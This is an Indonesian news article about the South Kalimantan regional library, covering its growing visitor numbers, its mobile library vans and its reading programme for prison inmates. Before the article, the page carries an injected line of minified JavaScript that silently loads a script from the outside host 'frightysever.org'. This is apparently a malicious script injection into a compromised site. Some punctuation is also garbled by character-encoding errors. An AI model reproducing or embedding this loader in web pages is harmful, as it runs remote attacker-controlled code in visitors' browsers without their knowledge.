(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Luar Biasa! Perpusda Kalsel Punya Program Khusus bagi Penghuni Lapas

BANJARMASIN, Perpustakaan Daerah (Perpusda) Kalsel yang berlokasi di Jl A Yani Km 6, Banjarmasin, terus melakukan gebrakan untuk menggerakkan masyarakat gemar membaca. Selain buka setiap hari, termasuk pada saat hari libur, juga memberikan layanan jemput bola melalui mobil pintar ke sejumlah lokasi. Mulai dari sekolah, tempat wisata, sampai Lembaga Pemasyarakatan (Lapas).

Kepala Seksi Pelayanan dan Kerja Sama Perpustakaan Ermawati, A.Md mengatakan, enam bulan terakhir jumlah pengunjung terus meningkat. Mereka datang baik untuk sekadar membaca, meminjam buku, atau mencari bahan buat tugas sekolah dan kuliah.

“Kami hampir kewalahan dengan masyarakat yang datang untuk membaca dan meminjam buku, apalagi di hari Sabtu dan Minggu,” jelasnya.

Di tempat tersebut, saat ini menyimpan sebanyak 86.510 buku dan naskah berbagai kategori dan referensi.Ã‚Â Ada sejumlah klasifikasi ruang juga untuk memudahkan pengunjung dalam mencari bahan. Mulai koleksi deposit, koleksi umum, hingga layanan anak usia dini.

Pihak perpustakaan juga sering melakukan kegiatan untuk menambah minat baca masyarakat melaluiÃ‚Â 2 unit mobil pintar. Termasuk yang di Lapas tadi. Ã¢â‚¬Å“Mereka mengunjungi Lapas yang ada di Kalimantan Selatan agar menimbulkan minat baca para tahanan dan staf di sana,Ã¢â‚¬Â ujar Ermawati.

Rencananya, Perpusda Kalsel juga akan melakukan nota kesepakatan/MOU dengan KemenkumHAM untuk bisa meminjamkan buku di tiap lapas agar bisa dibaca para tahanan. Kunjungan ke Lapas dilakukan setengah bulan sekali untuk mendata, meminjamkan, dan mengambil buku yang dipinjam penghuni.

Sementara untuk memanjakan pengunjung Perpusda, juga disedikan layanan internet gratis dan cara administrasi anggota maupun data pengunjung yang sudah berbasis online. Salah satu pengunjung Mahasiswa UIN Antasari Supianor mengatakan, perpustakaan daerah ini banyak membantu untuk referensi saat mencari bahan kuliah.

“Di sela waktu kosong perkuliahan saya sering mengunjungi perpustakaan dengan teman-teman kampus,” ujarnya. (ammar)